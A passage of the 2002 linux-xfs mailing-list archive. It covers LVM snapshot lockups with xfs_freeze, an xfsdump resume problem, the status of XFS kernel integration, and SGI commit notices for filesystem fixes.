oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from nasexs1.meridian-data.com ([208.0.185.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7KHlfEC003895 for ; Tue, 20 Aug 2002 10:47:41 -0700 Received: by nasexs1.meridian-data.com with Internet Mail Service (5.5.2653.19) id <3M5QCB5N>; Tue, 20 Aug 2002 10:58:12 -0700 Message-ID: <2D0AFEFEE711D611923E009027D39F2B02F1DB@nasexs1.meridian-data.com> From: Dale Stephenson To: "'LVM Mailing list '" Cc: "'linux-xfs@oss.sgi.com '" Subject: RE: Newbie VFS-lock question Date: Tue, 20 Aug 2002 10:58:09 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) List-Help: List-Subscribe: , List-Unsubscribe: , Content-Type: text/plain; charset="iso-8859-1" X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Greg Freemeyer writes: -----Original Message----- [snip] I don't not know if my problem is with xfs or lvm, or some form of interaction. I am still having lvcreate lockups, even though I am no longer calling xfs_freeze. Even stranger, calling xfs_freeze -u causes lvcreate to continue, even though I had not called xfs_freeze -f. I have rebooted the server, and this is repeatable, but it does not occur until the 6th or 7th repeat of my snapshot test script. It was my understanding that the VFS-lock patch (or lack thereof) would allow the mount step to be reliable, not that it would have any impact on lvcreate being able to run to completion. [snip] ---end original message With the VFS lock patch, the calls made inside the lvm layer to freeze and unfreeze are functionally identical to the ioctls made by xfs_freeze -f and xfs_freeze -u. So you are susceptible to the same sort of lockups. That's also why xfs_freeze -u jogged the lvcreate loose. If you look through the XFS list archives, you'll find some patches I posted to help alleviate some of the lockups I had seen, but I've still seen a few--generally with multiple snapshots of the same source volume with heavy write I/O directed to the source volume. One way that should not experience lockups is to use neither xfs_freeze nor the VFS lock patch, but use writable snapshots. The snapshot won't be a consistent filesystem, but mount it with the nouuid option and let it do recovery. This way may not give you what you wanted, but at least it won't lock up. Dale J. Stephenson steph@snapserver.com From owner-linux-xfs@oss.sgi.com Tue Aug 20 11:05:17 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7KI5GEC004284 for ; Tue, 20 Aug 2002 11:05:16 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7KI5G2m004283 for linux-xfs-outgoing; Tue, 20 Aug 2002 11:05:16 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.tiscali.cz (stateless1.tiscali.cz [213.235.135.70]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7KI59EC004234 for ; Tue, 20 Aug 2002 11:05:10 -0700 From: gregor_jan@seznam.cz Received: from localhost (212.11.96.36) by mail.tiscali.cz (6.0.044) id 3D34D14F00503FD4 for linux-xfs@oss.sgi.com; Tue, 20 Aug 2002 18:21:26 +0200 Received: from honza by localhost with local (Exim 3.32 #1 (Debian)) id 17hAjK-000058-00 for ; Tue, 20 Aug 2002 17:15:38 +0200 Date: Mon, 12 Aug 2002 16:06:41 +0200 To: linux-xfs@oss.sgi.com Subject: resume (-R option) of xfsdump doesn't work Message-ID: <20020812160641.A792@pisidlo> Reply-To: gregor_jan@seznam.cz Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.22i X-Spam-Status: No, hits=2.9 required=5.0 tests=NO_REAL_NAME,DATE_IN_FUTURE version=2.20 X-Spam-Level: ** Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hello I tried to dump my filesystem with following command: xfsdump -f /dosc/dimage / After 640 seconds was dump interrupted with advice to resume it by -R option. But it doesn't work, xfsdump says that media contains valid xfsdump but does not support append. I used this command: xfsdump -R -f /dosc/dimage / My system is debian with vanilla kernel 2.4.19 patched by patch for this kernel from sgi. xfsdump and other commands for xfs are contained in debian package xfsprogs-2.0.3-1. Jan Gregor From owner-linux-xfs@oss.sgi.com Tue Aug 20 11:13:42 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7KIDgEC004551 for ; Tue, 20 Aug 2002 11:13:42 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7KIDgUM004550 for linux-xfs-outgoing; Tue, 20 Aug 2002 11:13:42 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from goliath.sylaba.poznan.pl (root@goliath.sylaba.poznan.pl [195.216.104.3]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7KIDXEC004521 for ; Tue, 20 Aug 2002 11:13:34 -0700 Received: by goliath.sylaba.poznan.pl (8.11.6/8.10.1) id g7KIGUt06285 for linux-xfs@oss.sgi.com.KAV; Tue, 20 Aug 2002 20:16:30 +0200 (CEST) Received: from venus.local.navi.pl (ps103.poznan.sdi.tpnet.pl [217.97.72.103]) by goliath.sylaba.poznan.pl (8.11.6/8.10.1) with ESMTP id g7KIGTj06281 for ; Tue, 20 Aug 2002 20:16:29 +0200 (CEST) Received: from venus.local.navi.pl (venus.local.navi.pl [192.168.1.10]) by venus.local.navi.pl (8.11.6/8.11.6) with ESMTP id g7KIJGa05778 for ; Tue, 20 Aug 2002 20:19:16 +0200 Subject: JFS is going into 2.4? What about XFS in 2.5.? From: Olaf =?iso-8859-2?Q?Fr=B1czyk?= To: linux-xfs@oss.sgi.com Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-4) Date: 20 Aug 2002 20:19:16 +0200 Message-Id: <1029867556.2336.37.camel@venus> Mime-Version: 1.0 X-Spam-Status: No, hits=0.9 required=5.0 tests=SUBJ_ENDS_IN_Q_MARK,SUBJ_HAS_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi I found in 2.4.20-pre4 changelog something like this: Christoph Hellwig : o JFS: Initial import of version 1.0.18 for Linux 2.4 Dave Kleikamp : o JFS: Fix structure alignment problem on 64-bit machines o JFS: Add hch's copyright o JFS: sanitize ->clear_inode, remove ->put-inode o Fix races in JFS threads o JFS: Yet another truncation fix o JFS does not need to set i_version. It is never used o JFS: fix fsync o procfs entries should be created when CONFIG_JFS_STATISTICS is set o JFS: set s_maxbytes to 1 byte lower o Rework JFS's inode locking o JFS: Dynamically allocate metapage structures o Remove d_delete calls from jfs_rmdir & jfs_unlink o JFS: Fix handling of commit_sem o Add resize function to JFS o fix typo in fs/jfs/resize.c o JFS: Replace depreciated initializer syntax with C99 style o JFS: Trivial fixes Could you do a web page describing status of integrating XFS into kernel? It would be great to have it in 2.4 (may be marked as experimental?) Regards, Olaf Fraczyk From owner-linux-xfs@oss.sgi.com Tue Aug 20 11:16:38 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7KIGcEC004727 for ; Tue, 20 Aug 2002 11:16:38 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7KIGcLo004726 for linux-xfs-outgoing; Tue, 20 Aug 2002 11:16:38 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7KIGTEC004698 for ; Tue, 20 Aug 2002 11:16:30 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id NAA75412; Tue, 20 Aug 2002 13:19:16 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id NAA89847; Tue, 20 Aug 2002 13:19:16 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7KIGGH27736; Tue, 20 Aug 2002 13:16:16 -0500 Subject: Re: JFS is going into 2.4? What about XFS in 2.5.? From: Steve Lord To: Olaf =?iso-8859-2?Q?Fr=B1czyk?= Cc: linux-xfs@oss.sgi.com In-Reply-To: <1029867556.2336.37.camel@venus> References: <1029867556.2336.37.camel@venus> Content-Type: text/plain; charset=iso-8859-2 X-Mailer: Ximian Evolution 1.0.8 Date: 20 Aug 2002 13:16:16 -0500 Message-Id: <1029867376.21697.25.camel@jen.americas.sgi.com> Mime-Version: 1.0 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7KIGUEC004699 X-Spam-Status: No, hits=-2.7 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK,SUBJ_HAS_Q_MARK,SIGNATURE_DELIM version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Tue, 2002-08-20 at 13:19, Olaf Fr±czyk wrote: > Hi I found in 2.4.20-pre4 changelog something like this: > > Christoph Hellwig : > o JFS: Initial import of version 1.0.18 for Linux 2.4 > > Dave Kleikamp : > o JFS: Fix structure alignment problem on 64-bit machines > o JFS: Add hch's copyright > o JFS: sanitize ->clear_inode, remove ->put-inode > o Fix races in JFS threads > o JFS: Yet another truncation fix > o JFS does not need to set i_version. It is never used > o JFS: fix fsync > o procfs entries should be created when CONFIG_JFS_STATISTICS is set > o JFS: set s_maxbytes to 1 byte lower > o Rework JFS's inode locking > o JFS: Dynamically allocate metapage structures > o Remove d_delete calls from jfs_rmdir & jfs_unlink > o JFS: Fix handling of commit_sem > o Add resize function to JFS > o fix typo in fs/jfs/resize.c > o JFS: Replace depreciated initializer syntax with C99 style > o JFS: Trivial fixes > > Could you do a web page describing status of integrating XFS into > kernel? > It would be great to have it in 2.4 (may be marked as experimental?) > > Regards, > > Olaf Fraczyk > I will let Christoph respond on that one, but I do not think we will be doing a web site. No one has the time to keep updating something. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Tue Aug 20 11:32:17 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7KIWHEC004987 for ; Tue, 20 Aug 2002 11:32:17 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7KIWHIk004986 for linux-xfs-outgoing; Tue, 20 Aug 2002 11:32:17 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from phoenix.infradead.org (phoenix.mvhi.com [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7KIW7EC004958 for ; Tue, 20 Aug 2002 11:32:08 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17hDqL-0000xB-00; Tue, 20 Aug 2002 19:35:05 +0100 Date: Tue, 20 Aug 2002 19:35:05 +0100 From: Christoph Hellwig To: =?iso-8859-1?Q?Olaf_Fr=B1czyk?= Cc: linux-xfs@oss.sgi.com Subject: Re: JFS is going into 2.4? What about XFS in 2.5.? Message-ID: <20020820193505.A2770@infradead.org> References: <1029867556.2336.37.camel@venus> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2.5.1i In-Reply-To: <1029867556.2336.37.camel@venus>; from olaf@cbk.poznan.pl on Tue, Aug 20, 2002 at 08:19:16PM +0200 X-Spam-Status: No, hits=-3.5 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK,SUBJ_HAS_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Tue, Aug 20, 2002 at 08:19:16PM +0200, Olaf Fr±czyk wrote: > Could you do a web page describing status of integrating XFS into > kernel? > It would be great to have it in 2.4 (may be marked as experimental?) Required XFS bits: 2.4 2.4-ac 2.5 --------------------------------------------------------------------­ buffer writeback through ->writepage - - x (1) mapping of arbitrary pages into KVA - - x kmem_cache_size() x x x -funsigned-char friendly spin_is_locked() x - (2) x ->alloc_inode/->destroy_inode methods - - x iget_locked() - - x lockless generic_file_write() - - x find_or_create_page() exported/inline - - x mark_page_accessed exported - - - PF_FTRANS flag for task_struct - - - generic_file_direct_IO fixes - - - (3) additional exports - - - (4) XFS filesystem code - - - (1) Andrew Morton's buffer layer rewrite provides equivalent functionality (2) Alan backed it out. Needed for debug builds currently. (3) Not needed in 2.5, we use the less picky generic O_DIRECT code (4) Not needed/already exported in 2.5 Optional items in the XFS tree: 2.4 2.4-ac 2.5 --------------------------------------------------------------------­ VFS xattr code - - x VFS ACL code - - - ->mrotect method (for dmapi) - - - XFS dmapi code - - - From owner-linux-xfs@oss.sgi.com Tue Aug 20 11:35:50 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7KIZoEC005163 for ; Tue, 20 Aug 2002 11:35:50 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7KIZonM005162 for linux-xfs-outgoing; Tue, 20 Aug 2002 11:35:50 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from imf20bis.bellsouth.net (mail120.mail.bellsouth.net [205.152.58.80]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7KIZTEC005130 for ; Tue, 20 Aug 2002 11:35:30 -0700 Received: from TAZ2 ([66.156.4.66]) by imf05bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020820161939.CKFF5321.imf05bis.bellsouth.net@TAZ2>; Tue, 20 Aug 2002 12:19:39 -0400 Date: Tue, 20 Aug 2002 12:16:50 -0400 From: Greg Freemyer Subject: re[2]: [Newbie VFS-lock question To: LVM Mailing list cc: Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20020820161939.CKFF5321.imf05bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7KIZUEC005131 X-Spam-Status: No, hits=-0.4 required=5.0 tests=SUPERLONG_LINE version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Adrian, Thanks for the help. Due to the strangeness of my test results, I have also cross-posted this to the LVM and XFS list. I don't not know if my problem is with xfs or lvm, or some form of interaction. I am still having lvcreate lockups, even though I am no longer calling xfs_freeze. Even stranger, calling xfs_freeze -u causes lvcreate to continue, even though I had not called xfs_freeze -f. I have rebooted the server, and this is repeatable, but it does not occur until the 6th or 7th repeat of my snapshot test script. It was my understanding that the VFS-lock patch (or lack thereof) would allow the mount step to be reliable, not that it would have any impact on lvcreate being able to run to completion. More below: >> Gday Greg, >> On Tue, 20 Aug 2002 07:44, Greg Freemyer wrote: >> > >> > I'm running SuSE 8.0 with there 2.4.18-231 kernel. This is based on the >> > 2.4.19pre1aa1 kernel with some extra patches. They also have a test >> kernel >> > based on 2.4.19aa1. >> First is to issue a "lvm version" and please let me know of the results. The exact response is "bash: lvm: command not found". :< Should it have worked? I do have lots of lv* binaries in /sbin, but not lvm itself. rpm -qa | grep lvm gives lvm-1.0.3-22 if that is what you were looking for. If it was kernel lvm version # maybe looking at the list of -aa patches will help. I have never looked for a list of the -aa patches before, but I _assume_ I found them: The -aa kernels seem to have a bunch of patches as shown at http://www.kernel.org/pub/linux/kernel/people/andrea/kernels/v2.4 For 2.4.19pre1aa1, see http://www.kernel.org/pub/linux/kernel/people/andrea/kernels/v2.4/2.4.19pre1aa1/ The above is kernel I'm currently testing. For 2.4.19 release, see http://www.kernel.org/pub/linux/kernel/people/andrea/kernels/v2.4/2.4.19rc5aa1/ (note rc5 became the release version.) I can also test this one if it is likely to help. The only lvm specific patch I see is lvm-snapshot-check-[12] http://www.kernel.org/pub/linux/kernel/people/andrea/kernels/v2.4/2.4.19rc5aa1/10_lvm-snapshot-check-2 That does not look like it has anything to do with VFS-locks. I guess this means that the majority of the LVM kernel changes are part of the official kernel? But that the VFS locks patch is not? >> > Both have some level of LVM in them, but I don't know which specific >> > version. >> > >> > Would either of these have the VFS-lock patch already included, or do I >> > need to get the SRPM for one of the above, get the VFS-lock patch from >> > somewhere and apply the patch? >> Not sure - we'll have to work it out. The easiest way is to comment out >> the >> xfs_freeze above and still run the script - if you are able to mount the >> resulting snapshot then you most likely have the VFS-lock patch. I just tried this and I have a surprising result. (Surprising to me anyway.) My script has: lvcreate --snapshot -L 2500m --name Data_snap /dev/VG/Data mount -t xfs -o ro,nouuid /dev/VG/Data_snap /data_snap df /data_snap umount /data_snap lvremove -f /dev/VG/Data_snap I manually invoked the above 10 times with, no i/o load, heavy read load, and heavy read/write load. (I used a single instance of dd to copy a 20 Gig file to generate the load.) I paused only a few second between iterations of this script. Under no load and with heavy read only load, I had no problems. With the heavy read/write load, the lvcreate locked up!!! on the 6th or 7th iteration. Prior to this the lvcreate and mount steps had been taking longer and longer, but never more than 60 seconds, It displayed lvcreate -- WARNING: the snapshot will be automatically disabled once it gets full lvcreate -- INFO: using default snapshot chunk size of 64 KB for "/dev/TruStore-Data/TruStore-Data_snap" prior to locking up, but nothing else. lvcreate had been running for 20 minutes before I tried the xfs_freeze -u described below. The rest of the server seemed to be working fine during this time. I did NOT try to access any other LV on the same VG, so I don't know if that would have worked or not. iostat -x -d 10 showed no activity to the drive at all, although the dd command had only copied 700 megs of the 20 Gigs to copy.!!! The /data FS still has 11 Gigs of free space and I should have lots of unallocated space in the VG. lvscan is showing my 3 permanent LVs, but then gives a segmentation fault. I performed a xfs_freeze -u /data, just because this looked so similar to my previous tests. Much to my surprise, this caused the lvcreate to continue!!!! I know this sounds like I am still calling xfs_freeze, but it is definitely NOT being called by my script. Is there some other way it could be being invoked?????? The above is repeatable, and rebooting the server does NOT cause the problem to go away. >> > If so, where do I get the patch? >> From either the tarballs or from CVS. >> > Also, once I get an appropriate kernel, do I need to do anything to >> invoke >> > this feature prior to creating a snapshot, or is it automatic? >> The VFS-lock is automatic - it deals with the writing out of pending I/O >> before the snapshot is writen. I'm going to look for the tarball now, but do you think that the VFS-lock patch will help with this problem. I'm also going to create a ext3 LV on the same VG and see if that has the same problem. >> -- >> Adrian Head >> (Public Key available on request.) >> _______________________________________________ >> linux-lvm mailing list >> linux-lvm@sistina.com >> http://lists.sistina.com/mailman/listinfo/linux-lvm >> read the LVM HOW-TO at http://www.sistina.com/lvm/Pages/howto.html Thanks for helping me on this, Greg ========= Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Tue Aug 20 11:57:44 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7KIviEC005647 for ; Tue, 20 Aug 2002 11:57:44 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7KIvipC005646 for linux-xfs-outgoing; Tue, 20 Aug 2002 11:57:44 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from imf11bis.bellsouth.net (mail311.mail.bellsouth.net [205.152.58.171]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7KIvaEC005608 for ; Tue, 20 Aug 2002 11:57:36 -0700 Received: from TAZ2 ([66.156.4.66]) by imf11bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020820190206.ZBKI515.imf11bis.bellsouth.net@TAZ2>; Tue, 20 Aug 2002 15:02:06 -0400 Date: Tue, 20 Aug 2002 14:59:18 -0400 From: Greg Freemyer Subject: re[2]: JFS is going into 2.4? What about XFS in 2.5.? To: Christoph Hellwig cc: Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20020820190206.ZBKI515.imf11bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7KIvaEC005609 X-Spam-Status: No, hits=0.9 required=5.0 tests=SUBJ_ENDS_IN_Q_MARK,SUBJ_HAS_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk >> Required XFS bits: >> 2.4 2.4-ac 2.5 >> --------------------------------------------------------------------­ >> buffer writeback through ->writepage - - x (1) >> mapping of arbitrary pages into KVA - - x >> kmem_cache_size() x x x >> -funsigned-char friendly spin_is_locked() x - (2) x >> ->alloc_inode/->destroy_inode methods - - x >> iget_locked() - - x >> lockless generic_file_write() - - x >> find_or_create_page() exported/inline - - x >> mark_page_accessed exported - - - >> PF_FTRANS flag for task_struct - - - >> generic_file_direct_IO fixes - - - (3) >> additional exports - - - (4) >> XFS filesystem code - - - >> (1) Andrew Morton's buffer layer rewrite provides equivalent functionality >> (2) Alan backed it out. Needed for debug builds currently. >> (3) Not needed in 2.5, we use the less picky generic O_DIRECT code >> (4) Not needed/already exported in 2.5 Does that mean for 2.5 once the mark_page_accessed and PG_TRANS issues are resolved, the whole XFS filesystem is ready to go in with _no_ more massaging? Or does it mean that those 2 have to go in plus a lot of other massaging to the XFS filesystem code before it gets officially incorporated? Just curious Greg ======== Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Tue Aug 20 12:02:19 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7KJ2JEC005945 for ; Tue, 20 Aug 2002 12:02:19 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7KJ2IMS005944 for linux-xfs-outgoing; Tue, 20 Aug 2002 12:02:18 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from phoenix.infradead.org (phoenix.infradead.org [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7KJ2DEC005916 for ; Tue, 20 Aug 2002 12:02:13 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17hEJS-0001B1-00; Tue, 20 Aug 2002 20:05:10 +0100 Date: Tue, 20 Aug 2002 20:05:10 +0100 From: Christoph Hellwig To: Greg Freemyer Cc: linux-xfs@oss.sgi.com Subject: Re: re[2]: JFS is going into 2.4? What about XFS in 2.5.? Message-ID: <20020820200510.A4515@infradead.org> References: <20020820190206.ZBKI515.imf11bis.bellsouth.net@TAZ2> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020820190206.ZBKI515.imf11bis.bellsouth.net@TAZ2>; from freemyer@NorcrossGroup.com on Tue, Aug 20, 2002 at 02:59:18PM -0400 X-Spam-Status: No, hits=-3.5 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK,SUBJ_HAS_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Tue, Aug 20, 2002 at 02:59:18PM -0400, Greg Freemyer wrote: > Does that mean for 2.5 once the mark_page_accessed and PG_TRANS issues are resolved, the whole XFS filesystem is ready to go in with _no_ more massaging? > > Or does it mean that those 2 have to go in plus a lot of other massaging to the XFS filesystem code before it gets officially incorporated? The XFS core still needs a number of cleanups/simplifications. Whether they have to be done before merhing into 2.5 mainline or after isn't decided yet. From owner-linux-xfs@oss.sgi.com Tue Aug 20 12:29:08 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7KJT8EC007306 for ; Tue, 20 Aug 2002 12:29:08 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7KJT70c007305 for linux-xfs-outgoing; Tue, 20 Aug 2002 12:29:07 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7KJT1EC007277 for ; Tue, 20 Aug 2002 12:29:01 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA76035 for ; Tue, 20 Aug 2002 14:31:55 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id OAA58263 for ; Tue, 20 Aug 2002 14:31:54 -0500 (CDT) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7KJSsB28599; Tue, 20 Aug 2002 14:28:54 -0500 Message-Id: <200208201928.g7KJSsB28599@jen.americas.sgi.com> Date: Tue, 20 Aug 2002 14:28:54 -0500 Subject: TAKE - fix an xfs memory deadlock case To: linux-xfs@oss.sgi.com X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk We could double trip on the inode lock down this path, ensure that we do not come back into the filesystem when allocating memory for in core extents. Date: Tue Aug 20 12:30:07 PDT 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:125481a linux/fs/xfs/xfs_inode.c - 1.347 - when reallocating extent memory, do not call back into the filesystem, there is a deadlock down this path since we generally hold the ilock at this point. Use the new KM_NOFS flag. linux/fs/xfs/support/kmem.h - 1.11 - define KM_NOFS, remove some unused flags linux/fs/xfs/support/kmem.c - 1.20 - add a new flag to the supported set of passed in flags. From owner-linux-xfs@oss.sgi.com Tue Aug 20 14:13:31 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7KLDVEC011237 for ; Tue, 20 Aug 2002 14:13:31 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7KLDVY2011236 for linux-xfs-outgoing; Tue, 20 Aug 2002 14:13:31 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7KLDOEC011208 for ; Tue, 20 Aug 2002 14:13:24 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA76929 for ; Tue, 20 Aug 2002 16:16:18 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id QAA91860 for ; Tue, 20 Aug 2002 16:16:18 -0500 (CDT) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7KLDHA18999; Tue, 20 Aug 2002 16:13:17 -0500 Message-Id: <200208202113.g7KLDHA18999@jen.americas.sgi.com> Date: Tue, 20 Aug 2002 16:13:17 -0500 Subject: TAKE - remove some more 'CELL_CAPABLE' code To: linux-xfs@oss.sgi.com X-Spam-Status: No, hits=0.1 required=5.0 tests=SUBJ_REMOVE version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk More code cleanup Date: Tue Aug 20 14:15:42 PDT 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-vanilla The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:125504a linux/fs/xfs/xfs_dfrag.c - 1.34 linux/fs/xfs/linux/xfs_linux.h - 1.83 linux/fs/xfs/linux/xfs_behavior.c - 1.15 linux/fs/xfs/linux/xfs_vfs.h - 1.26 linux/fs/xfs/linux/xfs_behavior.h - 1.10 From owner-linux-xfs@oss.sgi.com Tue Aug 20 16:06:12 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7KN6CEC012761 for ; Tue, 20 Aug 2002 16:06:12 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7KN6Bri012760 for linux-xfs-outgoing; Tue, 20 Aug 2002 16:06:11 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7KN61EC012732 for ; Tue, 20 Aug 2002 16:06:02 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id QAA03307 for ; Tue, 20 Aug 2002 16:08:59 -0700 (PDT) mail_from (nathans@wobbly.melbourne.sgi.com) Received: from 